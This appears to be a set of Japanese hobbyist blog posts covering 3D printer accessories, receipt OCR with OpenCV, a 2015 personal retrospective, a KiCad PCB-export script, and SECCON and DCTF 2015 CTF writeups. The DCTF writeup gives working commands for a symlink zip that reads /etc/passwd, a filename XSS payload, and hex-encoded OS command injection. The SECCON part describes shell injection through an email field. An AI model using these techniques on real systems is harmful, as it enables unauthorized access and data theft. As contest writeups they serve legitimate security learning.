3Dプリンタを使うときに便利なもの(Kossel mini k800)

マテリアル

剥がすときに便利

ニトムズ テープはがしカッター T087

ニトムズ テープはがしカッター T087

浮かないようにするのに便利

剥がしやすくなって便利(ノリと併用不可)

お掃除に便利

お掃除(ヒートヘッドの穴をほじくるの)に便利

クラフトツール 精密ピンバイスD 74050

クラフトツール 精密ピンバイスD 74050

部品を外すのに便利

E-Value 六角棒レンチセット ミリ 9本組 ELHW09NL

E-Value 六角棒レンチセット ミリ 9本組 ELHW09NL

簡易に寸法測るのに便利

3Dプリンタを買って組み立てた(Kossel mini k800)

最近中国の通販サイトで、組み立てキットの3Dプリンターを買って遊んでいた。 3万円ぐらいで、この精度だったらありかなぁという感じ。

買った3Dプリンタ。aliexpressというalibabaが親会社の通販サイトで買った。 いわゆるデルタ型の3Dプリンタで、リニアガイドを使っているタイプ。 面白いことに、プラ部品のほとんど全てが3Dプリンタの造形物で出来ていた。 販売会社にチャットして、補修部品としてデータが欲しいといったところ、それらのモデルデータをゲット出来た。 www.aliexpress.com

組み立て完成

こんな感じ(1)

こんな感じ(2)

レシートの画像を矩形補正してOCRにかけてみた。

レシートの写真撮ったらツイッターに何買ったかパーンって勝手に投稿されるやつおもしろいかなーとか思って適当にやった。 もう飽きたので特に頑張る気は無い。

これ活用した→ python/OpenCVでレシートみたいな四角いものを見つけてトリミングする - BlankTar

f:id:miettal:20151105223320j:plain

↓グレースケール

f:id:miettal:20151231015811j:plain

↓二値化

f:id:miettal:20151231015814j:plain

↓輪郭検出

f:id:miettal:20151231015819j:plain

↓切り抜き

f:id:miettal:20151231015823j:plain

↓グレースケール

f:id:miettal:20151231015826j:plain

↓二値化

f:id:miettal:20151231015829j:plain

OCR

gist96ca497dd2214ea4e703

↓コード

gista75d77bf65c231dc2f19

2015年を振り返って

1月

単位が足りなくて卒業できず、退学が確定した。

2月

卒業できなかったので卒業式には出れなかったが、代わりに研究室の後輩が学位授与式をやってくれた。

3月

大学院の入学手続きをした。7年間仲良くした高専の同級生とさようならした。

4月

新しい学校に入院した。そして初めての一人暮らし。

5月

台湾に行き、いろいろした。

6月

特にこれといったことが無かったが、研究室の人と神保町食肉センターを開拓し、定期的に研究室の人と肉会が開かれるようになる。

7月

インターン2箇所に受かったので、7/20あたりから2ヶ月間インターンに行った。

8月

台湾の友達が来日したので一緒にブラブラ色々まわった。

9月

インターンが終わり、それなりにぼーっとして過ごす。

10月

学校が始まった。

11月

バイトを始めた。

12月

退学はしたはものの、定期的に高専に行き共同研究を続けている。

スイッチサイエンスPCBへの発注を手助けするpythonスクリプト(KiCad python scripting)を書いた話

KiCad Advent Calendar 2015 6日目の記事です。(遅れてしまいましたが) qiita.com

概要

この間、私がスイッチサイエンスPCBで基板を発注した際、ファイル名を所定書式に変更しzipに固める作業が必要で煩雑だったので、その作業をkicadのpython scripting機能で、一部自動化しました。

※無保証

※自身環境(Linux daily build)以外未検証

※詳細を書く気が起きたら書く。質問大歓迎。

スイッチサイエンスPCB

最近、スイッチサイエンスが始めたPCBサービスです。 5cm x 5cm以内2層基板が10枚約1500円で送料約1000円と合わせても1枚約250円程度と格安! 所定書式のファイル名でガーバー、ドリルデータを保存し、zipに固めて、それをWebページにて投稿し、発注する方式です。

https://www.switch-science.com/pcborder/www.switch-science.com

KiCad Python scripting

KiCadにはPython scriptingという、マクロ機能?を含んでいて、一部作業を自動化出来ます。 今回使った、保存機能以外にも配線、パッドを作ったり、配置したりすることも出来ます。

↓公式コード github.com

↓公式リファレンス

http://docs.kicad-pcb.org/doxygen-python/

↓今回参考にしたソースコードAPIが変更されており、そのままでは動かない)

https://lists.launchpad.net/kicad-developers/msg10233.htmllists.launchpad.net

使い方

  1. https://gist.github.com/miettal/f7a41c6e6834edfa9ceb からスクリプトをダウンロード
  2. pcbnewからMenu->Tools->Scripting Consoleをクリック f:id:miettal:20151207203436p:plain
  3. Scripting Consoleで先ほどダウンロードしたスクリプトをimportし、convert()を実行 f:id:miettal:20151207215334p:plain
  4. プロジェクトのディレクトリにswitch science pcb用のzipファイルができる!!!

f:id:miettal:20151207203637p:plain

ソースコード

gist.github.com

SECCON 2015 Online CTF writeup

yozakuraというチームで参加した。

6問解いた。

Fragment2

Decode me
fragment2.pcap

pcapを見てみると、TCPのパケットが1個。 srcportが80なのと、filterの条件がhttp2だったので、wiresharkのdecode as http2をするとhttp2のレスポンスデータが見れる。なにやらよくわからないバイナリのフィールドがあるので、適当にググッて見つけたhpack decoderにかけると、flagが出てくる。

gist49b8ad5c68adb302698e

Entry form

http://entryform.pwn.seccon.jp/register.cgi
( Do not use your real mail address.)
(登録情報に他人に知られたくないメールアドレスは使用しないでください)

メールアドレスとユーザー名を登録するフォームがある。 index pageにアクセスすると、register.cgi_bakというソースがあるのでそれを見る。 ソースにlogの中身がflagだと書かれている。 mail addressがshelexecにぶっこまれているので、ls(backdoor123.cgi)するとregister.cgi, register.cgi_bak, log, SECRETというファイル、ディレクトリがみれた。 cat log(backdoor123.cgi)するとパーミッションがない。 ls SECRETすると、backdoor123.cgiがあり、見るとcmdパラメータを渡して叩くとshellexecしてくれる(しかも権限もあるっぽい)。 cat log(backdoor123.cgi)するとflagが出てくる。

Exec dmesg

秘密のメッセージをLinuxのisoイメージの中から見つけてください。
image.zip

zipの中にtiny core linuxのisoイメージあり。 virtual box から起動してdmesgを打っても、applet not found。 x86 busybox binaryをwgetして(https://busybox.net/downloads/binaries/latest/)、./busybox dmesgしたらflagが出てくる。

Steganography 1

Find image files in the file
MrFusion.gpjb
Please input flag like this format-->SECCON{*** ** **** ****}

バイナリエディタで見てみると、画像ファイルがたくさん連結している。bzのビットマップ表示でファイルの境界を見つけて、magic numberとか見つけて切り出す。(bmp, jpeg, gifなど) すると、flagが出てくる。 (他の人のwriteup見たら、foremostコマンドが便利らしい)

Steganography 3

We can get desktop capture!
Read the secret message.
desktop_capture.png

デスクトップのキャプチャに成功した!
秘密のメッセージを読み取ってほしい
desktop_capture.png

バイナリエディタでelfバイナリが表示されているので、OCRに掛けてelfバイナリを作る。 実行すると、base64 textが出てくる。 base64 decodeすると、英語で塗りつぶせと出てくる。 画像のバイナリエディタの白いところを黒で塗りつぶすと、flagが出てくる。

面白い問題だった。 チームメンバ ponty と倒した。

4042

Unknown document is found in ancient ruins, in 2005.
Could you figure out what is written in the document?
no-network.txt

謎の文章が2005年に古代遺跡から発見された。
これは何を意味している?
no-network.txt

テキストは、0から7の数字が3093文字。 2005年→utf9。 0~7の数字→3bit binary。 3文字→9bit binary。 なのでutf9 textなんだとおもう。 rfcの通りにutf9からucs4へ変換させるとflag発見。

チームメンバtkkと倒した。

gist38bd9f07baa80a0e18a2

DCTF 2015 Writeup

yozakuraというチームで参加した。

web200

zipファイルをアップロードすると、展開して個々のファイルをダウンロードできるwebサービス

html内に思わせぶりなphpコメントが入っていた。 どうやらdctfユーザーのシェル名を取得してるっぽい。

<? $shell = shell_exec("getent passwd dctf | cut -d: -f7"); ?>

zipファイルにシンボリックリンクをアップロードするとサーバー上の任意のファイルをダウンロードできた(ディレクトリトラバーサル)。 試しにシェル名(/etc/passwd)をとってみると、Flag発見。

ln -s /etc/passwd passwd
zip -r showpasswd.zip passwd
wget http://example.com/?id=hoge&file=./passwd
cat passwd
  root:x:0:0:root:/root:/bin/bash
  daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
  bin:x:2:2:bin:/bin:/usr/sbin/nologin
  sys:x:3:3:sys:/dev:/usr/sbin/nologin
  sync:x:4:65534:sync:/bin:/bin/sync
  games:x:5:60:games:/usr/games:/usr/sbin/nologin
  man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
  lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
  mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
  news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
  uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
  proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
  www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
  backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
  list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
  irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
  gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
  nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
  libuuid:x:100:101::/var/lib/libuuid:
  sshd:x:101:65534::/var/run/sshd:/usr/sbin/nologin
  syslog:x:102:105::/home/syslog:/bin/false
  ubuntu:x:1000:1000::/home/ubuntu:/bin/bash
  mysql:x:103:106:MySQL Server,,,:/nonexistent:/bin/false
  dctf:x:65533:65533:DCTF,,,:/nonexistent:/DCTF{28fad39245bc57404263540e94f417d8}
cat passwd | grep dctf | cut -d: -f7
  /DCTF{28fad39245bc57404263540e94f417d8}

また、ファイル名をjavascriptのプログラムにすることで、jsを実行できた(XSS)。 が、Flagとは関係なかった。

mkdir "<script>alert("XSS");<"
cd "<script>alert("XSS");<"
touch "script>"
cd ..
zip xss.zip "<script>alert("XSS");</script>"

web400

画像が4枚表示されているwebページ それぞれの画像は

http://example.com/image?id=1&usr=1
http://example.com/image?id=2&usr=2
http://example.com/image?id=3&usr=3
http://example.com/image?id=4&usr=4

というふうに、idとuserをgetで渡して取得している。

idやusrに数値以外を送ると怒られるが、1〜4以外の数値を送ると、file not found的なシェルで実行したようなテキストが出てきた。 また、12.34や0x41を送ると、12.34やA(0x41のASCII対応文字)が表示され、任意のシェルを実行できた(OSコマンドインジェクション)。 試しに、lsをしてみるとテキストファイルが現れ、catするとFlagがあった。

wget http://example.com/image?id=0x3b6c733b&usr=1 # <= python ";ls;".encode("hex")
  6e8218531e0580b6754b3e3be5252873.txt
  images
  index.php
wget http://example.com/image?id=3b6361742036653832313835333165303538306236373534623365336265353235323837332e7478743b&usr=! # <= python ";cat 6e8218531e0580b6754b3e3be5252873.txt;".encode("hex")
DCTF{19b1f9f19688da85ec52a735c8da0dd3}

misc100

壊れたpng画像

チェックサムが壊れているっぽいが直しても、意味不明な画像。 ぱっとみ、横幅がずれてるっぽい。

PNG を自力で読んで表示しよう その1 http://hoshi-sano.hatenablog.com/entry/2013/08/18/112550

processingでpng画像をパースして表示するプログラムがあったので、 試しに、ヘッダの情報を無視して横幅とかを適当に変えてみたところFlagが現れた。

vi misc100.pde
  imageInfo.imageWidth = 891;//追記
  imageInfo.imageHeight = 550;//追記
  int rowHead = (i * (imageInfo.imageWidth * 3));//変更

f:id:miettal:20151006105111p:plain

processingはアニメーション表示が可能なので、少しずつ横幅を変えて表示、 みたいなことができるので良かった。

misc350

チームのみんなと一緒に解いた。

  1. dnsのリクエストが来るので応答
  2. メールが来るのでsmtpで応答

    sudo nc -l 25 HELO ...

  3. メールの添付ファイルにpcapがある

  4. pcapの中にsmbプロトコルの通信がある
  5. smpプロトコル通信の中にzipがある(wiresharkでエクスポート)
  6. zipの中に大量gifがある
  7. それぞれのgifexifのcamera model nameにbase64文字列の断片がある

    exiftool alien.gif

    Camera Model Name : gAAAAAAAAAEAD9QQAAAABzb2wvVVQFAAPdEA9WdXgLAAEE6AMAAAToAwAAUEsBAh4

  8. gifを時間別にソートし、base64文字列を結合しデコードするとzipがある

    ls -rt1 *gif | xargs exiftool | grep Ca | awk '{print $5;}' | base64 --decode > a.zip

  9. zipの中にflagというテキストがある

    cat flag

    DCTF{e4045481e906132b24c173c5ee52cd1e}

misc200

解けず

gunzip misc200.part0.jpg.gz
file misc200.part0.jpg
  misc200.part0.jpg: x86 boot sector, code offset 0x52, OEM-ID "NTFS    ", sectors/cluster 8, reserved sectors 0, Media descriptor 0xf8, heads 120, dos < 4.0 BootSector (0x80)
ntfsundelete misc200.part0.jpg
  65 FN.. 100% 2015-10-04 63872 part0.zip
ntfsundelete misc200.part0.jpg -u -m part0.zip
unzip part0.zip
  Archive:  part0.zip
    inflating: 3pm.redrah-yrt
mv 3pm.redrah-yrt try-harded.mp3
exiftool try-harder.mp3
  Comment (xxx)                   : aHR0cDovL2RjdGYuZGVmLmNhbXAvX19kbmxkX18yMDE1X18vcGFydDEuaHRtbA
exiftool try-harder.mp3 | grep Comment | grep xxx | awk '{ print $4; }' | base64 --decode
  http://dctf.def.camp/__dnld__2015__/part1.html
wget http://dctf.def.camp/__dnld__2015__/part1.html

ここで、タブとスペースが入り混じった自然なhtmlテキストが得られ、 それを01に対応させることで文字列が出てくるのだが、自分のプログラムにミスがあって、 文字列にならなくて積んでた。

misc400

Captcha 1337問

失敗したらやり直し、リロードは可能 文字はアルファベット(大文字のみ)と数字

プログラムを作成。 opencvで簡単なテンプレートマッチングを行う。 リロードはできるので、もし文字を検出できなかったらリロードして再度テンプレートマッチングを行う。

misc200.py

analysis.py

f:id:miettal:20151006105728p:plain

グレースケール化

f:id:miettal:20151006105733p:plain

ヒストグラムの値をベースにしきい値ぎめ、二値化

f:id:miettal:20151006105737p:plain

1文字ずつ用意したテンプレート画像とマッチング

f:id:miettal:20151006105741p:plain

1337/1337 in a row!
Good job, the flag is: DCTF{6b91e112ee0332616a5fe6cc321e48f1}